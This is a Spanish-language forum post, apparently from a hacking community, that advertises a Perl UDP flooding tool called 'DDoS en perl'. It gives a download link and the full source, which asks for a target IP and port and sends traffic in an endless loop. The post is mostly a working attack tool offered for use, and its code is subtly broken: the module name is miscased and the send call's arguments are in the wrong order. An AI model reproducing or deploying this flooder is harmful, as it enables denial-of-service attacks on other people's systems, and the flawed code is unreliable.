Buenas, repasé un poco el tema del perl que hace muchiiisiimo que no lo tocaba, me dio
por reelerme el asunto de los socks, recordé las cosas y pude codearme esta herramienta en perl.
Caracteristicas: (http://caracteristicas:)
+ Envio de 30000 socks
+ Mayor rapidéz en el envio
+ UDP
Descarga de el archivo compilado:
http://shup.com/Shup/376121/Doss.pl (http://shup.com/Shup/376121/Doss.pl)
Source utilizado por si alguien quiere modificarlo:
#!/usr/bin/perl
print q(
=====================================================
DDoS en perl
Creado por SkillmaX
www.indetectables.net
www.hackingteam.org
www.ash-labs.org
www.level-23.org
=====================================================
);
use io::socket;
print "Introduzca la IP: ";
chop ($host = <stdin>);
print "Introduzca el puerto: ";
chop ($port = <stdin>);
{
$sock = IO::Socket::INET->new (
PeerAddr => $host,
PeerPort => $port,
Proto => 'udp') || die "$! Ha introducido algun dato incorrecto, vuelva a intentarlo";
}
packets:
while (1) {
$size = rand() * 30000 * 300000;
print ("$host:$port Conexión enviada: $size\n");
send($sock, 0, $size);
}